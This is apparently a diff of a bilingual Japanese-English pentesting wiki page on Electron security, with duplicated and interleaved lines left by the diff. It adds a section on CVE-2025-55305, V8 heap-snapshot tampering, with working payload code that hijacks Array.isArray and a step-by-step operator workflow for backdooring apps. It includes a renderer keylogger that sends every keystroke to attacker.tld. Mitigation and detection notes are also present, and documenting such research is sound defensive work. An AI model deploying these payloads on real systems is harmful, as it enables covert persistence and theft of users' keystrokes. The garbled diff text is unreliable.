- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) は脆弱なサードパーティライブラリをチェックするためのツールです
- [**Electro.ng**](https://electro.ng/): 購入が必要です
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)では、脆弱なElectronアプリを悪用するためのラボを見つけることができます。 ## ラボ
ラボを手助けするいくつかのコマンド: In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
ラボで役立つコマンド:
```bash ```bash
# Download apps from these URls # Download apps from these URls
# Vuln to nodeIntegration # Vuln to nodeIntegration
@ -427,14 +438,127 @@ cd vulnerable1
npm install npm install
npm start npm start
``` ```
## **参考文献** ## V8 heap snapshot の改ざんによるローカルバックドア挿入 (Electron/Chromium) CVE-2025-55305
Electron および Chromium ベースのアプリは起動時に事前構築された V8 heap snapshot (v8_context_snapshot.bin、およびオプションで browser_v8_context_snapshot.bin) をデシリアライズして、各 V8 isolate (main, preload, renderer) を初期化します。従来、Electron の integrity fuses はこれらのスナップショットを実行可能コンテンツとして扱っておらず、そのため fuse ベースの整合性強制や OS のコード署名チェックの両方を回避していました。結果として、ユーザー書き込み可能なインストール環境でスナップショットを置き換えることで、署名済みバイナリや ASAR を変更することなくアプリ内部でステルスかつ永続的なコード実行が可能になりました。
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Local file write into the apps installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applications v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (main と renderer で異なるコードを実行)
- Main process detection: process.pid、process.binding()、process.dlopen のような Node-only globals は main process isolate に存在します。
- Browser/renderer detection: alert のような Browser-only globals はドキュメントコンテキストで実行しているときに利用可能です。
main-process の Node 機能を一度だけプローブする example gadget
```js
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
```
レンダラー/ブラウザコンテキストのデータ窃取 PoC例: Slack
```js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
```
Operator workflow
1) payload.js を作成し、一般的な組み込み(例: Array.isArrayを上書きし、必要に応じてアイソレートごとに分岐させる。
2) Chromium ソース無しで snapshot をビルドする:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) ターゲットアプリケーションの snapshot ファイルを上書きする:
- v8_context_snapshot.bin (常に使用される)
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse が使用されている場合)
4) アプリを起動すると、選択した組み込みが使用されるたびにガジェットが実行される。
Notes and considerations
- Integrity/signature bypass: スナップショットファイルはコード署名チェックでネイティブ実行ファイルとして扱われず、歴史的にElectrons fuses や Chromium 整合性制御の対象になっていなかった。
- Persistence: ユーザー書き込み可能なインストールにあるスナップショットを置き換えると、通常アプリ再起動後も残存し、署名済みで正当なアプリに見える。
- Chromium browsers: 同じ改ざんの概念は、ユーザー書き込み可能な場所にインストールされた Chrome/派生ブラウザにも適用される。Chrome には他の整合性緩和策があるが、物理的にローカルな攻撃はその脅威モデルの範囲外として明示している。
Detection and mitigations
- スナップショットを実行可能コンテンツとして扱い、整合性強制の対象に含めるCVE-2025-55305 fix
- 管理者のみ書き込み可能なインストール場所を優先する; v8_context_snapshot.bin と browser_v8_context_snapshot.bin のハッシュをベースライン化して監視する。
- 早期ランタイムでの組み込み上書きや予期しないスナップショットの変更を検出する; デシリアライズされたスナップショットが期待値と一致しない場合にアラートを出す。
## **References**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) - [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) - [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Electronのセキュリティに関するさらなる研究と記事は[https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)で確認できます。 - More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) - [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) - [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)